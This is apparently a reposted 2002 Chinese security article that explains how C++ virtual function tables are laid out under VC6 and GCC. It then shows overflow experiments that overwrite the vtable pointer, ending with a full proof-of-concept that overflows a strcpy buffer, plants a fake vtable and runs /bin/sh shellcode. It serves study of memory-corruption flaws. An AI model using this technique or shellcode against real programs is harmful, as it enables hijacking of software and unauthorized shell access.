【分析】C++中通过溢出覆盖虚函数指针列表执行代码

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情
◆ C++中通过溢出覆盖虚函数指针列表执行代码

作者:watercloud
主页:http://www.nsfocus.com
日期:2002-4-15

    
目录:

  1.  C++中虚函数的静态联编和动态联编
  2.  VC中对象的空间组织和溢出试验
  3.  GCC中对象的空间组织和溢出试验
  4.  参考


<一> C++中虚函数的静态联编和动态联编

      C++中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。
  其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
  使用,一个典型的例子就是虚函数是MFC的基石之一。

     这里有两个概念需要先解释:

  静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
  动态联编:程序运行阶段确定调用目标的地址。
    
     在C++中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键
  字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

      一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
  int num1;
  ClassA(){ num1=0xffff; };
  virtual void test1(void){};
  virtual void test2(void){};
};
ClassA objA,* pobjA;

int main(void)
{
  pobjA=&objA;
  objA.test1();
  objA.test2();
  pobjA->test1();
  pobjA->test2();
  return 0;
}



 
使用VC编译:
开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin/VCVARS32.BAT )

cl test.cpp /Fa
产生test.asm中间汇编代码

接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

我们来看看:

数据定义:

_BSS    SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?)    ;objA  64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS    ENDS

看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
    push    ebp
    mov    ebp, esp
    push    ecx
    mov    DWORD PTR _this$[ebp], ecx  ; ecx 赋值给 _this ?? 不明白??

    mov    eax, DWORD PTR _this$[ebp]
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'

; 前面的部分都是编译器加的东东,我们的赋值在这里

    mov    ecx, DWORD PTR _this$[ebp]
    mov    DWORD PTR [ecx+4], 65535   ;0xffff  num1=0xffff;
; 看来 _this+4就是num1的地址

    mov    eax, DWORD PTR _this$[ebp]
    mov    esp, ebp
    pop    ebp
    ret    0
??0ClassA@@QAE@XZ ENDP

那个_this和mov    DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
处调用的构造函数:

_$E9    PROC NEAR
; File test.cpp
; Line 10
    push    ebp
    mov    ebp, esp
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
    call    ??0ClassA@@QAE@XZ          ;call ClassA::ClassA()
    pop    ebp
    ret    0
_$E9    ENDP

看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。

那么构造函数里的这两行又是干什么呢?
    mov    eax, DWORD PTR _this$[ebp]
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'

我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于  ( * eax ) =  OFFSET FLAT:??_7ClassA@@6B@

来看看  ??_7ClassA@@6B@ 是哪个道上混的:

CONST    SEGMENT
??_7ClassA@@6B@
        DD FLAT:?test1@ClassA@@UAEXXZ  ;  ClassA::`vftable'
    DD FLAT:?test2@ClassA@@UAEXXZ
CONST    ENDS

看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。


好了,至此我们已经看到了objA的构造了:

| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1   | num1变量的空间          |
+--------+ ---> objA的结束地址     +--->+--------------+ 地址表 vftable
| 高地址 |                              |test1()的地址 |
                                        +--------------+
                                        |test2()的地址 |
                                        +--------------+

来看看main函数:
_main    PROC NEAR
; Line 13
    push    ebp
    mov    ebp, esp
; Line 14
    mov    DWORD PTR ?pobjA@@3PAVClassA@@A,
                OFFSET FLAT:?objA@@3VClassA@@A        ; pobjA = &objA

; Line 15
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A   ; ecx = this指针
                                                      ; 指向调用者的地址
    call    ?test1@ClassA@@UAEXXZ                 ; objA.test1()
             ; objA.test1()直接调用,已经确定了地址
; Line 16
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
    call    ?test2@ClassA@@UAEXXZ                 ; objA.test2()
; Line 17
    mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    mov    edx, DWORD PTR [eax]                  ; edx = vftable
    mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    call    DWORD PTR [edx]                       ;
       ; call vftable[0]  即 pobjA->test1()  看地址是动态查找的 ; )
                                                                

; Line 18
    mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    mov    edx, DWORD PTR [eax]
    mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    call    DWORD PTR [edx+4]                     ; pobjA->test2()
       ;  call vftable[1]  而vftable[1]里存放的是test2()的入口地址
; Line 19
    xor    eax, eax
; Line 20
    pop    ebp
    ret    0
_main    ENDP



好了,相信到这里你已经对动态联编有了深刻印象。


<二> VC中对象的空间组织和溢出试验

  通过上面的分析我们可以对对象空间组织概括如下:

| 低地址   |
+----------+ ---> objA的起始地址 &objA
|pvftable  |--------------------->+
+----------+                      |
|各成员变量|                      |
+----------+ ---> objA的结束地址  +---> +--------------+ 地址表 vftable
| 高地址   |                            |虚函数1的地址 |
                                        +--------------+
                                        |虚函数2的地址 |
                                        +--------------+
                                        | . . . . . .  |

可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!

现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;

int main(void)
{
  cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
  return 0;
}

用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不容易呀 ; )
只能通过obj1 溢出覆盖obj2了

//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
  cout << "Why a u here ?!" << endl;
};

ClassEx obj1,obj2,* pobj;

int main(void)
{

  pobj=&obj2;
  obj2.test();
 
  int vtab[1] = { (int) entry };//构造vtab,
                                //entry的入口地址
  obj1.buff[1] = (int)vtab;     //obj1.buff[1]就是 obj2的pvftable域
                                //这里修改了函数指针列表的地址到vtab
  pobj->test();
  return 0;
}

编译 cl ex_vc.cpp

运行结果:
ClassEx::test()
Why a u here ?!

测试环境: VC6


看我们修改了程序执行流程 ^_^

平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....



<三> GCC中对象的空间组织和溢出试验

  刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp  来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。

通过分析我们可以看到:

gcc中对象地址空间结构如下:

|   低地址      |
+---------------+  对象的开始地址
|               |
|  成员变量空间 |
|               |
+---------------+
| pvftable      |----------->+------------------+  vftable
+---------------+            |        0         |
|    高地址     |            +------------------+
                             |    XXXXXXXX      |
                             +------------------+
                             |        0         |
                             +----------------- +
                             |  虚函数1入口地址 |
                             +------------------+
                             |        0         |
                             +----------------- +
                             |  虚函数2入口地址 |
                             +------------------+
                             | . . . .  . .     |


哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!


来写个溢出测试程序:

//test.cpp
#include<iostream.h>
class ClassTest
{
public:
  long buff[1];   //大小为1
  virtual void test(void)
  {
     cout << "ClassTest test()" << endl;
  }
};

void entry(void)
{
  cout << "Why are u here ?!" << endl;
}

int main(void)
{
  ClassTest a,*p =&a;
  long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
                                  //test() -> entry()

  a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
  a.test();    //静态联编的,不会有事
  p->test();   //动态联编的,到我们的函数表去找地址,
               //     结果就变成了调用函数  entry()

}

编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!


测试程序说明:

具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section        .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
        .p2align 2
        .type    _vt$9ClassTest,@object
        .size    _vt$9ClassTest,24
_vt$9ClassTest:
        .value 0
        .value 0
        .long __tf9ClassTest
        .value 0
        .value 0
        .long test__9ClassTest           ----------+
        .zero   8                                  |
        .comm   __ti9ClassTest,8,4                 |
                                                   |
                                                   |
                        test()的地址          <----+


这就是其虚函数列表里的内容了。

                    test()地址在第3个(long)型地址空间

所以我们构造addr[]时:

   long addr[] = {0,0,0,(long)entry};

   就覆盖了test()函数的地址 为 entry()的地址

   p->test()
   时就跑到我们构建的地址表里取了entry的地址去运行了


测试环境 FreeBSD 4.4
         gcc 2.95.3

来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。

#include<iostream.h>
#include<stdio.h>
class ClassBase  //定义一个基础类
{
public:
  char buff[128];
  void setBuffer(char * s)
  {
     strcpy(buff,s);
  };
  virtual void printBuffer(void){};  //虚函数
};

class  ClassA :public ClassBase 
{
public:
  void printBuffer(void)
  {
     cout << "Name :" << buff << endl;
  };
};

class ClassB : public ClassBase
{
public:
  void printBuffer(void)
  {
     cout << "The text : " << buff << endl;
  };
};

char  buffer[512],*pc;            
long  * pl = (long *) buffer;
long  addr = 0xbfbffabc;   // 在我的机器上就是 &b ^_*
char  shellcode[]="1/xc0Ph//shh/binT[PPSS4;/xcd/x80";
int i;

int main(void)
{
  ClassA a;
  ClassB b;
  ClassBase * classBuff[2] = { &a,&b };

  a.setBuffer("Tom");
  b.setBuffer("Hello ! This is world of c++ .");

  for(i=0;i<2;i++)     //C++中的惯用手法,
                       //一个基础类的指针指向上层类对象时调
               //用的为高层类的虚函数
    classBuff[i]->printBuffer(); // 这里是正常用法

  cout << &a << " : " << &b <<  endl; // &b就是上面addr的值,
                  //如果你的机器上两个值不同就改一改addr值吧!
      //构造一个特殊的buff呆会给b.setBuffer
      // 在开始处构造一个vftable
  pl[0]=0xAAAAAAAA;     //填充1
  pl[1]=0xAAAAAAAA;     //填充2
  pl[2]=0xAAAAAAAA;     //填充3
  pl[3]=addr+16;        //虚函数printBuffer入口地址
                        //  的位置指向shell代码处了
  pc = buffer+16;
  strcpy(pc,shellcode);
  pc+=strlen(shellcode);

  for(;pc - buffer < 128 ; *pc++='A');  //填充
 
  pl=(long *) pc;
  *pl= addr;             //覆盖pvftable使其指向我们构造的列表

  b.setBuffer(buffer);  //溢出了吧 .

  // 再来一次
  for(i=0;i<2;i++)
    classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
                                 // 时一个shell就出来了

  return 0;
}
 

bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$                 <------ 呵呵,成功了

说明:

addr = &b  也就是 &b.buff[0]

b.setBuffer(buffer)
就是让 b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:

&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | /0]
                    ____  ^                ___
                      |   |                 |
                      |   |                 |
|                     +---+              |  |
|                                        |  |
+--------------->  128    <--------------+  |
                                            |
  此处即pvftable项 ,被溢出覆盖为 addr   <---+                        

现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址 !


      本文只是一个引导性文字,还有许多没
  有提到的细节,需要自己去分析。
      俗话说自己动手丰衣足食 *_&

<四> 参考

  Phrack56# << SMASHING C++ VPTRS  >>



        个人愚见,望斧正!

                                 __watercloud__

                            (watercloud@nsfocus.com)

                                   2002-4-15
C/C++典型漏洞产生原理与Demo 本篇主要是自己学习笔记,快速读了下泉哥的《漏洞战争》的读书笔记。这里只涉及漏洞产生原理,即漏洞是怎么写出来。至于怎么分析0Day,怎么写代码执行的exp,后续将做深入研究。C/C++代码执行漏洞,很多时候是劫持程序的控制流。具体来说:对于C程序,一般是控制函数的返回地址,让程序跳转到我们指定的地方执行。对于C++程序,除了覆盖函数返回地址外,还可以覆盖虚函数表,在调用虚函数的时候,程序将到指定内存 阅读详情

相关推荐

C++ 知识补充

向量(vector)是一个封装了动态大小数组的顺序容器(SequenceContainer)。跟任意其它类型容器一样,它能够存放各种类型的对象。可以简单的认为,向量是一个能够存放任意类型的动态数组。C++中map提供的是一种键值对容器,里面的数据都是成对出现的,如下图:每一对中的第一个值称之为关键字(key),每个关键字只能在map中出现一次;第二个称之为该关键字的对应值。

weixin_47059239的博客 2114

C/C++使用过程中的溢出问题

内容:在C/C++程序里有一类非常典型的问题,那就是:溢出问题。现在分别来分析一下常见的数组溢出,整数溢出,缓冲区溢出,栈溢出指针溢出等。

weixin_48867130的博客 1790

函数指针(C语言二)

函数指针一、函数指针的基础知识二、函数指针的声明三、函数指针在程序中的使用四、基于汇编层次的讲解 一、函数指针的基础知识 二、函数指针的声明 三、函数指针在程序中的使用 四、基于汇编层次的讲解 ...

qq_46111881的博客 327

c++ 虚函数基础1

初识虚函数 虚函数 源码如下 #include <iostream> using namespace std; class A{ public: virtual void printAA(){cout<<"print A";} }; class B:public A{ public: virtual void printAA(){cout<<"print B";} }; int main() { A* a = new B(); a->printAA

西门吹雪 482

MFC中配置OpenGL所遇到的一些问题

myOpenGLView.obj : error LNK2005: "struct HGLRC__ * m_hRC" (?m_hRC@@3PAUHGLRC__@@A) already defined in myOpenGL.obj myOpenGLView.obj : error LNK2005: "class CDC * m_pDC" (?m_pDC@@3PAVCDC@@A) already

IT_Vitamin的专栏 1399

VxD

VxD 程序设计入门We 我们在上一节学会了如何编写一个什么事也不做的VxD程序。在这一节里,我们要给它增加处理控制消息的功能。 VxD的初始化和结束<FONT face=Arial,Helvetica>VxD程序分为两种:静态的和动态的。每种的加载方法都不同,接受到的初始化和结束的控制消息也不同。 静态VxD:下列情况下,VMM加载一个静态VxD:

讲武堂-Jiangtao 4482

C++中通过溢出覆盖虚函数指针列表执行代码

   2. VC中对象的空间组织和溢出试验    3. GCC中对象的空间组织和溢出试验    4. 参考         <一> C++虚函数的静态联编和动态联编       C++中的一大法宝就是虚函数,简单来说就是加vir...

chiloutao9982的博客 238

C++中通过溢出覆盖虚函数指针列表执行代码

 ◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-4-15      目录:  1.  C++虚函数的静态联编和动态联编  2.  VC中对象的空间组织和溢出试验  3.  GCC中对象的空间组织和溢出试验  4.  参考 C++虚函数的静态联编和动态联编      C++中的一大法宝就是虚函数

1148

深入C++对象模型与this指针:内存布局、虚函数与性能优化

C++编程中,理解对象的内存布局是掌握面向对象核心机制的关键。对象模型定义了编译器如何将类成员映射到内存,涉及内存对齐、成员排列等底层原理,直接影响程序的内存使用效率和缓存局部性。通过虚函数表(vtable)和虚函数指针(vptr)实现的多态机制,是C++运行时动态绑定的技术基础,为设计灵活可扩展的软件架构提供了支持。在工程实践中,合理利用空基类优化(EBO)、避免对象切片、正确使用this指针与智能指针,能显著提升代码的健壮性和性能。本文结合C++对象模型和this指针的深度解析,通过内存布局分析、调试

weixin_30235225的博客 972

C++虚函数底层原理:手动实现vtable与vptr模拟多态机制

C++面向对象编程中,多态是实现代码复用和扩展性的核心技术,其核心机制依赖于虚函数表(vtable)和虚表指针(vptr)。虚函数通过动态绑定实现运行时多态,允许基类指针调用派生类的具体实现,这是软件设计中实现开闭原则的关键。从技术原理看,编译器为每个包含虚函数的类生成一个vtable静态数组,存储虚函数地址,对象内部则隐含一个vptr指向该表。这种设计虽然带来了灵活性,但也引入了间接调用开销和对象内存占用。在工程实践中,理解vtable机制有助于调试内存损坏、对象切片等问题,并优化高性能场景。本文通过手

weixin_33769125的博客 2037

C++安全审计进入深水区:三大高危漏洞检测模型首次公开(仅限本次大会)

深入解析C++代码安全审计难题,2025全球C++及系统软件技术大会首次公开三大高危漏洞检测模型,覆盖内存泄漏、未初始化变量与越界访问,精准识别工业级系统风险。方法可集成于CI流程,显著提升检测效率与可靠性,值得收藏。

QuickProceed的博客 1006

c++代码审核标准以及注意事项

可读性:代码是否清晰、易于理解可维护性:是否便于后续修改和扩展可靠性:是否健壮,能否正确处理错误和边界情况性能:是否高效,避免不必要的开销可移植性:是否能在不同平台/编译器上正常工作安全性:是否存在安全漏洞(如缓冲区溢出、内存泄漏)

二次元怪兽的博客 740

C/C++对比及补充

overload,将语义相近的几个函数用同一个名字表示,但是参数列表(参数的类型,个数,顺序不同)不同,这就是函数重载,返回值类型可以不同 特征:相同范围(同一个类中)、函数名字相同、参数不同、virtual关键字可有可无override,派生类覆盖基类的虚函数,实现接口的重用,返回值类型必须相同 特征:不同范围(基类和派生类)、函数名字相同、参数相同、基类中必须有virtual关键字(必须是虚函数

scott198512的博客 692
上一篇: 【分析】一个C++溢出虚函数指针的更真实试验
下一篇: 【分析】非安全编程演示之高级缓存区溢出(version1.2)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值